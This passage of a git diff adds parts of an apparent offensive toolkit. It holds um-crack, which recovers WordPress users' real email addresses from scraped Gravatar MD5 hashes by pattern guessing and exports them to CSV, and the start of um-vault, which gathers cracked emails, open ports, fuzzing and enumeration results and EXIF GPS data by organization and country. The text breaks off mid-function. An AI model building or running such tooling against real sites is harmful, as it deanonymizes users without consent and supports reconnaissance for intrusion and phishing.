self.console.print( + f" [bold green]CRACKED[/] {email} " + f"[dim](hash: {hash_val[:16]}... user: {info.get('username', '?')} @ {info.get('domain', '?')})[/]" + ) + +# โ”€โ”€โ”€ Dashboard TUI โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +console = Console() + +MENU_ITEMS = [ + ("1", "Load hashes (.db / .txt)"), + ("2", "Add custom wordlist"), + ("3", "Start cracking"), + ("4", "View cracked"), + ("5", "View uncracked"), + ("6", "Export CSV"), + ("7", "Statistics"), + ("8", "Verify email"), + ("9", "Hash an email"), + ("Q", "Quit"), +] + +CRACK_INFO = [ + f"{len(ALL_PROVIDERS)} email providers", + "Pattern-based email recovery", + "Cultural naming patterns", + "Region-focused cracking", + "Custom wordlist support", + "Local computation only", +] + +def get_db_stats(conn): + try: + total = conn.execute("SELECT COUNT(*) FROM hashes").fetchone()[0] + cracked = conn.execute("SELECT COUNT(*) FROM hashes WHERE cracked_email != ''").fetchone()[0] + return f"Loaded: {total:,} | Cracked: {cracked:,} | Uncracked: {total-cracked:,}" + except Exception: + return "DB: empty" + +def show_results(conn, limit=50): + rows = conn.execute(""" + SELECT hash, domain, username, display_name, cracked_email, crack_method + FROM hashes WHERE cracked_email != '' + ORDER BY cracked_at DESC LIMIT ? + """, (limit,)).fetchall() + + table = Table(box=box.HEAVY, border_style=THEME_COLOR, title=f"[bold {THEME_COLOR}]Cracked Hashes[/]") + table.add_column("Hash", style="cyan", width=18) + table.add_column("Email", style="bold green", max_width=35) + table.add_column("Username", style="white", max_width=15) + table.add_column("Domain", style="dim", max_width=20) + table.add_column("Method", style="yellow", width=16) + + for r in rows: + table.add_row( + r["hash"][:16] + "...", + r["cracked_email"], + r["username"] or "-", + r["domain"] or "-", + r["crack_method"] or "-" + ) + console.print(table) + +def show_uncracked(conn, limit=30): + rows = conn.execute(""" + SELECT hash, domain, username, display_name + FROM hashes WHERE cracked_email = '' + ORDER BY domain, username LIMIT ? + """, (limit,)).fetchall() + + table = Table(box=box.ROUNDED, border_style="yellow", title="[yellow]Uncracked Hashes[/]") + table.add_column("Hash", style="cyan", width=34) + table.add_column("Domain", style="white", max_width=25) + table.add_column("Username", style="dim", max_width=20) + table.add_column("Display Name", style="dim", max_width=20) + + for r in rows: + table.add_row(r["hash"], r["domain"] or "-", + r["username"] or "-", r["display_name"] or "-") + console.print(table) + +def show_stats(conn): + total = conn.execute("SELECT COUNT(*) FROM hashes").fetchone()[0] + cracked = conn.execute("SELECT COUNT(*) FROM hashes WHERE cracked_email != ''").fetchone()[0] + uncracked = total - cracked + unique_domains = conn.execute("SELECT COUNT(DISTINCT domain) FROM hashes WHERE domain != ''").fetchone()[0] + + # Top cracked providers + top_providers = conn.execute(""" + SELECT SUBSTR(cracked_email, INSTR(cracked_email, '@') + 1) as provider, + COUNT(*) as cnt + FROM hashes WHERE cracked_email != '' + GROUP BY provider ORDER BY cnt DESC LIMIT 10 + """).fetchall() + + # Top crack methods + top_methods = conn.execute(""" + SELECT crack_method, COUNT(*) as cnt + FROM hashes WHERE cracked_email != '' + GROUP BY crack_method ORDER BY cnt DESC + """).fetchall() + + table = Table(box=box.ROUNDED, border_style=THEME_COLOR, title=f"[bold {THEME_COLOR}]Statistics[/]") + table.add_column("Metric", style="bold") + table.add_column("Value", justify="right", style="cyan") + table.add_row("Total Hashes", str(total)) + table.add_row("Cracked", f"[bold green]{cracked}[/]") + table.add_row("Uncracked", f"[yellow]{uncracked}[/]") + table.add_row("Crack Rate", f"{cracked/total*100:.1f}%" if total else "0%") + table.add_row("Source Domains", str(unique_domains)) + table.add_row("Email Providers", str(len(ALL_PROVIDERS))) + console.print(table) + + if top_providers: + prov_table = Table(box=box.ROUNDED, border_style=THEME_COLOR, title=f"[{THEME_COLOR}]Top Cracked Providers[/]") + prov_table.add_column("Provider", style="green") + prov_table.add_column("Count", justify="right", style="cyan") + for p in top_providers: + prov_table.add_row(p["provider"], str(p["cnt"])) + console.print(prov_table) + + if top_methods: + meth_table = Table(box=box.ROUNDED, border_style=THEME_COLOR, title=f"[{THEME_COLOR}]Crack Methods[/]") + meth_table.add_column("Method", style="yellow") + meth_table.add_column("Count", justify="right", style="cyan") + for m in top_methods: + meth_table.add_row(m["crack_method"], str(m["cnt"])) + console.print(meth_table) + +def export_csv_fn(conn, output="um-crack-export.csv"): + cursor = conn.execute(""" + SELECT hash, domain, username, display_name, cracked_email, + crack_method, crack_time_ms, cracked_at + FROM hashes WHERE cracked_email != '' + ORDER BY domain, cracked_email + """) + rows = cursor.fetchall() + cols = [d[0] for d in cursor.description] + + with open(output, "w", newline="") as f: + writer = csv.writer(f) + writer.writerow(cols) + for r in rows: + writer.writerow(list(r)) + console.print(f"[green]Exported {len(rows)} cracked hashes to {output}[/]") + +def export_all_csv(conn, output="um-crack-all.csv"): + cursor = conn.execute("SELECT * FROM hashes ORDER BY domain, hash") + rows = cursor.fetchall() + cols = [d[0] for d in cursor.description] + + with open(output, "w", newline="") as f: + writer = csv.writer(f) + writer.writerow(cols) + for r in rows: + writer.writerow(list(r)) + console.print(f"[green]Exported all {len(rows)} hashes to {output}[/]") + +def load_wordlist(path): + """Load a custom wordlist for cracking.""" + words = [] + with open(path) as f: + for line in f: + word = line.strip() + if word and not word.startswith("#"): + words.append(word.lower()) + return words + +def merge_databases(db_paths, output="um-crack.db"): + conn = init_db(output) + for path in db_paths: + if not os.path.exists(path): + continue + src = sqlite3.connect(path) + src.row_factory = sqlite3.Row + for r in src.execute("SELECT * FROM hashes").fetchall(): + try: + conn.execute(""" + INSERT INTO hashes (hash, domain, username, display_name, user_id, + cracked_email, crack_method, crack_time_ms, cracked_at) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?) + ON CONFLICT(hash) DO UPDATE SET + domain = CASE WHEN excluded.domain != '' THEN excluded.domain ELSE domain END, + username = CASE WHEN excluded.username != '' THEN excluded.username ELSE username END, + display_name = CASE WHEN excluded.display_name != '' THEN excluded.display_name ELSE display_name END, + user_id = CASE WHEN excluded.user_id > 0 THEN excluded.user_id ELSE user_id END, + cracked_email = CASE WHEN excluded.cracked_email != '' THEN excluded.cracked_email ELSE cracked_email END, + crack_method = CASE WHEN excluded.crack_method != '' THEN excluded.crack_method ELSE crack_method END, + cracked_at = CASE WHEN excluded.cracked_at IS NOT NULL THEN excluded.cracked_at ELSE cracked_at END + """, (r["hash"], r["domain"], r["username"], r["display_name"], + r["user_id"], r["cracked_email"], r["crack_method"], + r["crack_time_ms"], r["cracked_at"])) + except Exception: + pass + src.close() + console.print(f"[dim]Merged: {path}[/dim]") + conn.commit() + return conn + +# โ”€โ”€โ”€ CLI โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +@click.group(invoke_without_command=True) +@click.option("--db", default="um-crack.db", help="Database file path") +@click.option("--engagement", "-E", default=None, help="Engagement name for organized output") +@click.option("--scope", "scope_file", default=None, help="Scope file to restrict targets") +@click.pass_context +def cli(ctx, db, engagement, scope_file): + """Umbra Hash Cracker โ€” Pattern-based email recovery from Gravatar hashes.""" + ctx.ensure_object(dict) + # Env var fallback + engagement = engagement or os.environ.get("UMBRA_ENGAGEMENT", "") + scope_file = scope_file or os.environ.get("UMBRA_SCOPE", "") + scope = [] + if engagement: + create_engagement(engagement) + db = get_engagement_db_path(engagement, TOOL_NAME) + if scope_file: + scope = load_scope(scope_file) + ctx.obj["db"] = db + ctx.obj["engagement"] = engagement + ctx.obj["scope"] = scope + # Ops hook + hook = get_ops_hook(TOOL_NAME, engagement) + ctx.obj["hook"] = hook + if hook: + hook.register() + if ctx.invoked_subcommand is None: + interactive_menu(ctx) + +@cli.command("load") +@click.argument("source") +@click.pass_context +def load_cmd(ctx, source): + """Load hashes from a um-hash.db or text file.""" + conn = init_db(ctx.obj["db"]) + + if source.endswith(".db"): + count = import_from_hash_db(conn, source) + console.print(f"[green]Imported {count} hashes from {source}[/]") + else: + count = import_hashes_from_file(conn, source) + console.print(f"[green]Imported {count} hashes from {source}[/]") + + show_stats(conn) + conn.close() + +@cli.command() +@click.option("--region", default=None, help="Focus on region (e.g., us, uk, de, jp, cn)") +@click.option("--wordlist", default=None, help="Custom wordlist file") +@click.option("--providers-only", default=None, help="Comma-separated list of email providers to try") +@click.pass_context +def crack(ctx, region, wordlist, providers_only): + """Start cracking loaded hashes.""" + conn = init_db(ctx.obj["db"]) + + custom_words = load_wordlist(wordlist) if wordlist else [] + providers = None + if providers_only: + providers = [p.strip() for p in providers_only.split(",")] + + cracker = Cracker(conn, providers=providers, custom_wordlist=custom_words) + cracker.crack(region_focus=region) + + console.print() + if cracker.newly_cracked: + console.print(f"[bold green]Newly cracked: {len(cracker.newly_cracked)}[/]") + show_stats(conn) + conn.close() + +@cli.command() +@click.pass_context +def results(ctx): + """Show cracked hashes.""" + conn = init_db(ctx.obj["db"]) + show_results(conn, limit=100) + show_stats(conn) + conn.close() + +@cli.command() +@click.pass_context +def uncracked(ctx): + """Show uncracked hashes.""" + conn = init_db(ctx.obj["db"]) + show_uncracked(conn, limit=100) + conn.close() + +@cli.command() +@click.option("-o", "--output", default="um-crack-export.csv") +@click.option("--all", "export_all", is_flag=True, help="Export all hashes (not just cracked)") +@click.pass_context +def export(ctx, output, export_all): + """Export results to CSV.""" + conn = init_db(ctx.obj["db"]) + if export_all: + export_all_csv(conn, output) + else: + export_csv_fn(conn, output) + conn.close() + +@cli.command() +@click.pass_context +def stats(ctx): + """Show database statistics.""" + conn = init_db(ctx.obj["db"]) + show_stats(conn) + conn.close() + +@cli.command() +@click.argument("directory") +@click.option("-o", "--output", default="um-crack.db") +@click.pass_context +def merge(ctx, directory, output): + """Merge multiple .db files.""" + import glob + db_paths = glob.glob(os.path.join(directory, "*.db")) + if not db_paths: + console.print(f"[red]No .db files found in {directory}[/]") + return + conn = merge_databases(db_paths, output) + show_stats(conn) + conn.close() + +@cli.command() +@click.argument("email") +@click.pass_context +def verify(ctx, email): + """Verify an email against loaded hashes.""" + conn = init_db(ctx.obj["db"]) + h = hashlib.md5(email.lower().strip().encode()).hexdigest() + row = conn.execute("SELECT * FROM hashes WHERE hash = ?", (h,)).fetchone() + if row: + console.print(f"[bold green]MATCH![/] Hash {h} matches email {email}") + console.print(f" Domain: {row['domain'] or '-'}") + console.print(f" Username: {row['username'] or '-'}") + console.print(f" Display Name: {row['display_name'] or '-'}") + + # Update if not already cracked + if not row["cracked_email"]: + conn.execute(""" + UPDATE hashes SET cracked_email = ?, crack_method = 'manual_verify', + cracked_at = CURRENT_TIMESTAMP + WHERE hash = ? + """, (email, h)) + conn.commit() + console.print("[green]Recorded as cracked.[/]") + else: + console.print(f"[dim]No match. Hash {h} not in database.[/]") + conn.close() + +@cli.command("hash-email") +@click.argument("email") +def hash_email(email): + """Show the MD5 hash of an email address.""" + h = hashlib.md5(email.lower().strip().encode()).hexdigest() + console.print(f"[cyan]{email}[/] โ†’ [green]{h}[/]") + +# โ”€โ”€โ”€ Interactive Menu โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +def interactive_menu(ctx): + conn = init_db(ctx.obj["db"]) + + custom_wordlist = [] + + def action_handler(key, tui): + nonlocal custom_wordlist + + if key == "1": + def on_source(source): + if not os.path.exists(source): + tui.log(f"[!] File not found: {source}") + return + if source.endswith(".db"): + count = import_from_hash_db(conn, source) + else: + count = import_hashes_from_file(conn, source) + tui.log(f"[+] Imported {count} hashes from {source}") + tui.prompt("Path to .db or .txt file", on_source) + + elif key == "2": + def on_path(wl_path): + nonlocal custom_wordlist + if os.path.exists(wl_path): + custom_wordlist = load_wordlist(wl_path) + tui.log(f"[+] Loaded {len(custom_wordlist)} words from {wl_path}") + else: + tui.log(f"[!] File not found: {wl_path}") + tui.prompt("Wordlist file path", on_path) + + elif key == "3": + def on_region(region): + if region == "all": + region_val = None + else: + region_val = region + tui.log("[*] Starting crack session...") + cracker = Cracker(conn, custom_wordlist=custom_wordlist) + original_record = cracker._record_crack + + def patched_record(hash_val, email, method, hash_lookup): + original_record(hash_val, email, method, hash_lookup) + tui.log(f"[+] CRACKED: {email} ({method})") + + cracker._record_crack = patched_record + + def do_crack(): + cracker.crack(region_focus=region_val) + if cracker.newly_cracked: + tui.log(f"[+] Session complete: {len(cracker.newly_cracked)} new cracks") + else: + tui.log("[-] Session complete: no new cracks") + tui.log(f"[*] Tested {cracker.candidates_tested:,} candidates") + + tui.run_threaded(do_crack, status="Cracking...") + tui.prompt("Region focus (us/uk/de/jp/cn/etc, or 'all')", on_region, default="all") + + elif key == "4": + rows = conn.execute( + "SELECT hash, domain, username, display_name, cracked_email, crack_method FROM hashes WHERE cracked_email != '' ORDER BY cracked_at DESC LIMIT 50" + ).fetchall() + t = Table(box=box.HEAVY, border_style=THEME_COLOR, title=f"[bold {THEME_COLOR}]Cracked Hashes[/]") + t.add_column("Hash", style="dim", max_width=16) + t.add_column("Domain", style="cyan") + t.add_column("User", style="green") + t.add_column("Email", style="bold green") + t.add_column("Method", style="yellow") + for r in rows: + t.add_row(r["hash"][:16], r["domain"], r["username"], r["cracked_email"], r["crack_method"]) + tui.show_table(t) + + elif key == "5": + rows = conn.execute( + "SELECT hash, domain, username, display_name FROM hashes WHERE cracked_email = '' OR cracked_email IS NULL LIMIT 50" + ).fetchall() + t = Table(box=box.HEAVY, border_style=THEME_COLOR, title=f"[bold {THEME_COLOR}]Uncracked Hashes[/]") + t.add_column("Hash", style="dim", max_width=16) + t.add_column("Domain", style="cyan") + t.add_column("User", style="green") + t.add_column("Display Name") + for r in rows: + t.add_row(r["hash"][:16], r["domain"], r["username"], r["display_name"]) + tui.show_table(t) + + elif key == "6": + def on_file(output_file): + export_csv_fn(conn, output_file) + tui.log(f"[+] Exported to {output_file}") + tui.prompt("Output file", on_file, default="um-crack-export.csv") + + elif key == "7": + total = conn.execute("SELECT COUNT(*) FROM hashes").fetchone()[0] + cracked = conn.execute("SELECT COUNT(*) FROM hashes WHERE cracked_email != ''").fetchone()[0] + uncracked = total - cracked + t = Table(box=box.ROUNDED, border_style=THEME_COLOR, title=f"[bold {THEME_COLOR}]Statistics[/]") + t.add_column("Metric", style="bold") + t.add_column("Value", justify="right", style="cyan") + t.add_row("Total Hashes", f"{total:,}") + t.add_row("Cracked", f"[green]{cracked:,}[/]") + t.add_row("Uncracked", f"[yellow]{uncracked:,}[/]") + if total > 0: + t.add_row("Crack Rate", f"{cracked/total*100:.1f}%") + tui.show_table(t) + + elif key == "8": + def on_email(email): + h = hashlib.md5(email.lower().strip().encode()).hexdigest() + row = conn.execute("SELECT * FROM hashes WHERE hash = ?", (h,)).fetchone() + if row: + tui.log(f"[+] MATCH: {email} -> {h}") + if not row["cracked_email"]: + conn.execute("UPDATE hashes SET cracked_email=?, crack_method='manual', cracked_at=CURRENT_TIMESTAMP WHERE hash=?", + (email, h)) + conn.commit() + tui.log(" Recorded as cracked.") + else: + tui.log(f"[-] No match for {email} (hash: {h})") + tui.prompt("Email to verify", on_email) + + elif key == "9": + def on_email(email): + h = hashlib.md5(email.lower().strip().encode()).hexdigest() + tui.log(f"[*] {email} -> {h}") + tui.prompt("Email", on_email) + + tui = UmbraTUI( + tool_name=TOOL_NAME, + version=VERSION, + menu_items=MENU_ITEMS, + info_items=CRACK_INFO, + action_handler=action_handler, + stats_fn=lambda: get_db_stats(conn), + theme=THEME_COLOR, + engagement=ctx.obj.get("engagement"), + ) + tui.run() + conn.close() + +if __name__ == "__main__": + cli() diff --git a/tools/umbra/um-vault.py b/tools/umbra/um-vault.py new file mode 100755 index 0000000..2e796fa --- /dev/null +++ b/tools/umbra/um-vault.py @@ -0,0 +1,920 @@ +#!/usr/bin/env python3 +"""um-vault.py โ€” Umbra Master Database Aggregator +10-table relational schema (countriesโ†’orgsโ†’domainsโ†’hashesโ†’cracked). +Imports from um-hash + um-crack databases, statistics dashboard. +""" + +import csv +import glob +import json +import os +import sqlite3 +import sys +import time +from datetime import datetime + +import click +from rich.console import Console +from rich.table import Table +from rich import box + +# โ”€โ”€โ”€ Version โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +VERSION = "1.0.0" +TOOL_NAME = "um-vault" +THEME_COLOR = "bright_white" +BANNER = r""" + _ _ __ __ ____ _____ __ __ _ _ _ _______ + | | | | \/ | _ \| __ \ /\ \ \ / /\ | | | | | |__ __| + | | | | \ / | |_) | |__) | / \ \ \ / / \ | | | | | | | + | | | | |\/| | _ <| _ / / /\ \ \ \/ / /\ \ | | | | | | | + | |__| | | | | |_) | | \ \ / ____ \ \ / ____ \| |__| | |____| | + \____/|_| |_|____/|_| \_\_/ \_\ \/_/ \_\\____/|______|_| +""" + +# โ”€โ”€โ”€ Database Schema (10 tables) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +def init_db(path="um-vault.db"): + conn = sqlite3.connect(path, check_same_thread=False) + conn.row_factory = sqlite3.Row + conn.execute("PRAGMA journal_mode=WAL") + conn.execute("PRAGMA busy_timeout=5000") + conn.execute("PRAGMA foreign_keys=ON") + + # 1. Countries + conn.execute(""" + CREATE TABLE IF NOT EXISTS countries ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + code TEXT UNIQUE NOT NULL, + name TEXT DEFAULT '', + region TEXT DEFAULT '', + total_orgs INTEGER DEFAULT 0, + total_domains INTEGER DEFAULT 0 + ) + """) + + # 2. Organizations + conn.execute(""" + CREATE TABLE IF NOT EXISTS organizations ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + name TEXT UNIQUE NOT NULL, + country_code TEXT DEFAULT '', + industry TEXT DEFAULT '', + total_domains INTEGER DEFAULT 0, + total_hashes INTEGER DEFAULT 0, + total_cracked INTEGER DEFAULT 0, + FOREIGN KEY (country_code) REFERENCES countries(code) + ) + """) + + # 3. Domains + conn.execute(""" + CREATE TABLE IF NOT EXISTS domains ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + domain TEXT UNIQUE NOT NULL, + org_id INTEGER DEFAULT 0, + is_wordpress INTEGER DEFAULT 0, + wp_version TEXT DEFAULT '', + detection_methods TEXT DEFAULT '', + total_hashes INTEGER DEFAULT 0, + total_cracked INTEGER DEFAULT 0, + first_seen DATETIME DEFAULT CURRENT_TIMESTAMP, + last_seen DATETIME, + FOREIGN KEY (org_id) REFERENCES organizations(id) + ) + """) + + # 4. Hashes + conn.execute(""" + CREATE TABLE IF NOT EXISTS hashes ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + hash TEXT UNIQUE NOT NULL, + domain_id INTEGER DEFAULT 0, + domain TEXT DEFAULT '', + username TEXT DEFAULT '', + display_name TEXT DEFAULT '', + user_id INTEGER DEFAULT 0, + avatar_url TEXT DEFAULT '', + cracked_email TEXT DEFAULT '', + crack_method TEXT DEFAULT '', + first_seen DATETIME DEFAULT CURRENT_TIMESTAMP, + cracked_at DATETIME, + FOREIGN KEY (domain_id) REFERENCES domains(id) + ) + """) + + # 5. Ports (from um-scan) + conn.execute(""" + CREATE TABLE IF NOT EXISTS ports ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + host TEXT NOT NULL, + port INTEGER NOT NULL, + state TEXT DEFAULT 'open', + service TEXT DEFAULT '', + banner TEXT DEFAULT '', + response_ms INTEGER DEFAULT 0, + first_seen DATETIME DEFAULT CURRENT_TIMESTAMP, + UNIQUE(host, port) + ) + """) + + # 6. Intel findings (from um-intel) + conn.execute(""" + CREATE TABLE IF NOT EXISTS intel ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + target TEXT NOT NULL, + source TEXT NOT NULL, + finding_type TEXT NOT NULL, + value TEXT NOT NULL, + extra TEXT DEFAULT '{}', + first_seen DATETIME DEFAULT CURRENT_TIMESTAMP, + UNIQUE(target, source, finding_type, value) + ) + """) + + # 7. API endpoints (from um-api) + conn.execute(""" + CREATE TABLE IF NOT EXISTS api_endpoints ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + target TEXT NOT NULL, + url TEXT NOT NULL, + path TEXT DEFAULT '', + discovery_method TEXT NOT NULL, + status_code INTEGER DEFAULT 0, + description TEXT DEFAULT '', + first_seen DATETIME DEFAULT CURRENT_TIMESTAMP, + UNIQUE(target, url, discovery_method) + ) + """) + + # 8. Fuzz results (from um-fuzz) + conn.execute(""" + CREATE TABLE IF NOT EXISTS fuzz_results ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + base_url TEXT NOT NULL, + path TEXT NOT NULL, + status_code INTEGER NOT NULL, + content_length INTEGER DEFAULT 0, + content_type TEXT DEFAULT '', + redirect_url TEXT DEFAULT '', + first_seen DATETIME DEFAULT CURRENT_TIMESTAMP, + UNIQUE(base_url, path) + ) + """) + + # 9. EXIF data (from um-exif) + conn.execute(""" + CREATE TABLE IF NOT EXISTS exif_data ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + file_path TEXT UNIQUE NOT NULL, + file_name TEXT DEFAULT '', + camera_make TEXT DEFAULT '', + camera_model TEXT DEFAULT '', + datetime_original TEXT DEFAULT '', + gps_coords TEXT DEFAULT '', + artist TEXT DEFAULT '', + copyright TEXT DEFAULT '' + ) + """) + + # 10. Enum findings (from um-enum) + conn.execute(""" + CREATE TABLE IF NOT EXISTS enum_findings ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + domain TEXT NOT NULL, + phase TEXT NOT NULL, + command TEXT NOT NULL, + value TEXT NOT NULL, + url TEXT DEFAULT '', + status_code INTEGER DEFAULT 0, + first_seen DATETIME DEFAULT CURRENT_TIMESTAMP, + UNIQUE(domain, command, value) + ) + """) + + # Indexes + conn.execute("CREATE INDEX IF NOT EXISTS idx_domains_domain ON domains(domain)") + conn.execute("CREATE INDEX IF NOT EXISTS idx_hashes_hash ON hashes(hash)") + conn.execute("CREATE INDEX IF NOT EXISTS idx_hashes_domain ON hashes(domain)") + conn.execute("CREATE INDEX IF NOT EXISTS idx_ports_host ON ports(host)") + conn.execute("CREATE INDEX IF NOT EXISTS idx_intel_target ON intel(target)") + + conn.commit() + return conn + +# โ”€โ”€โ”€ Import Functions โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +def import_wp_db(vault_conn, wp_db_path): + """Import from um-wp.db.""" + if not os.path.exists(wp_db_path): + return 0 + src = sqlite3.connect(wp_db_path) + src.row_factory = sqlite3.Row + count = 0 + for r in src.execute("SELECT * FROM sites").fetchall(): + vault_conn.execute(""" + INSERT INTO domains (domain, is_wordpress, wp_version, detection_methods, last_seen) + VALUES (?, ?, ?, ?, CURRENT_TIMESTAMP) + ON CONFLICT(domain) DO UPDATE SET + is_wordpress = MAX(is_wordpress, excluded.is_wordpress), + wp_version = CASE WHEN excluded.wp_version != '' THEN excluded.wp_version ELSE wp_version END, + detection_methods = CASE WHEN excluded.detection_methods != '' THEN excluded.detection_methods ELSE detection_methods END, + last_seen = CURRENT_TIMESTAMP + """, (r["domain"], r["is_wordpress"], r["wp_version"], r["detection_methods"])) + count += 1 + vault_conn.commit() + src.close() + return count + +def import_hash_db(vault_conn, hash_db_path): + """Import from um-hash.db.""" + if not os.path.exists(hash_db_path): + return 0 + src = sqlite3.connect(hash_db_path) + src.row_factory = sqlite3.Row + count = 0 + for r in src.execute("SELECT * FROM hashes").fetchall(): + # Ensure domain exists + vault_conn.execute(""" + INSERT OR IGNORE INTO domains (domain) VALUES (?) + """, (r["domain"],)) + + domain_row = vault_conn.execute( + "SELECT id FROM domains WHERE domain=?", (r["domain"],) + ).fetchone() + domain_id = domain_row["id"] if domain_row else 0 + + vault_conn.execute(""" + INSERT INTO hashes (hash, domain_id, domain, username, display_name, + user_id, avatar_url) + VALUES (?, ?, ?, ?, ?, ?, ?) + ON CONFLICT(hash) DO UPDATE SET + domain = CASE WHEN excluded.domain != '' THEN excluded.domain ELSE domain END, + username = CASE WHEN excluded.username != '' THEN excluded.username ELSE username END, + display_name = CASE WHEN excluded.display_name != '' THEN excluded.display_name ELSE display_name END + """, (r["hash"], domain_id, r["domain"], r["username"], + r["display_name"], r["user_id"], r["avatar_url"])) + count += 1 + vault_conn.commit() + src.close() + return count + +def import_crack_db(vault_conn, crack_db_path): + """Import from um-crack.db.""" + if not os.path.exists(crack_db_path): + return 0 + src = sqlite3.connect(crack_db_path) + src.row_factory = sqlite3.Row + count = 0 + for r in src.execute("SELECT * FROM hashes WHERE cracked_email != ''").fetchall(): + vault_conn.execute(""" + UPDATE hashes SET + cracked_email = ?, + crack_method = ?, + cracked_at = ? + WHERE hash = ? AND (cracked_email = '' OR cracked_email IS NULL) + """, (r["cracked_email"], r["crack_method"], r["cracked_at"], r["hash"])) + if vault_conn.execute("SELECT changes()").fetchone()[0] == 0: + # Hash not in vault yet, insert it + vault_conn.execute(""" + INSERT OR IGNORE INTO hashes (hash, domain, username, display_name, + cracked_email, crack_method, cracked_at) + VALUES (?, ?, ?, ?, ?, ?, ?) + """, (r["hash"], r["domain"], r["username"], r["display_name"], + r["cracked_email"], r["crack_method"], r["cracked_at"])) + count += 1 + vault_conn.commit() + src.close() + return count + +def import_scan_db(vault_conn, scan_db_path): + """Import from um-scan.db.""" + if not os.path.exists(scan_db_path): + return 0 + src = sqlite3.connect(scan_db_path) + src.row_factory = sqlite3.Row + count = 0 + for r in src.execute("SELECT * FROM ports WHERE state='open'").fetchall(): + vault_conn.execute(""" + INSERT INTO ports (host, port, state, service, banner, response_ms) + VALUES (?, ?, ?, ?, ?, ?) + ON CONFLICT(host, port) DO UPDATE SET + service = CASE WHEN excluded.service != '' THEN excluded.service ELSE service END, + banner = CASE WHEN excluded.banner != '' THEN excluded.banner ELSE banner END + """, (r["host"], r["port"], r["state"], r["service"], + r["banner"], r["response_ms"])) + count += 1 + vault_conn.commit() + src.close() + return count + +def import_intel_db(vault_conn, intel_db_path): + """Import from um-intel.db.""" + if not os.path.exists(intel_db_path): + return 0 + src = sqlite3.connect(intel_db_path) + src.row_factory = sqlite3.Row + count = 0 + for r in src.execute("SELECT * FROM findings").fetchall(): + vault_conn.execute(""" + INSERT OR IGNORE INTO intel (target, source, finding_type, value, extra) + VALUES (?, ?, ?, ?, ?) + """, (r["target"], r["source"], r["finding_type"], r["value"], r["extra"])) + count += 1 + vault_conn.commit() + src.close() + return count + +def import_api_db(vault_conn, api_db_path): + """Import from um-api.db.""" + if not os.path.exists(api_db_path): + return 0 + src = sqlite3.connect(api_db_path) + src.row_factory = sqlite3.Row + count = 0 + for r in src.execute("SELECT * FROM endpoints").fetchall(): + vault_conn.execute(""" + INSERT OR IGNORE INTO api_endpoints (target, url, path, discovery_method, + status_code, description) + VALUES (?, ?, ?, ?, ?, ?) + """, (r["target"], r["url"], r["path"], r["discovery_method"], + r["status_code"], r["description"])) + count += 1 + vault_conn.commit() + src.close() + return count + +def import_fuzz_db(vault_conn, fuzz_db_path): + """Import from um-fuzz.db.""" + if not os.path.exists(fuzz_db_path): + return 0 + src = sqlite3.connect(fuzz_db_path) + src.row_factory = sqlite3.Row + count = 0 + for r in src.execute("SELECT * FROM results").fetchall(): + vault_conn.execute(""" + INSERT OR IGNORE INTO fuzz_results (base_url, path, status_code, + content_length, content_type, redirect_url) + VALUES (?, ?, ?, ?, ?, ?) + """, (r["base_url"], r["path"], r["status_code"], + r["content_length"], r["content_type"], r["redirect_url"])) + count += 1 + vault_conn.commit() + src.close() + return count + +def import_exif_db(vault_conn, exif_db_path): + """Import from um-exif.db.""" + 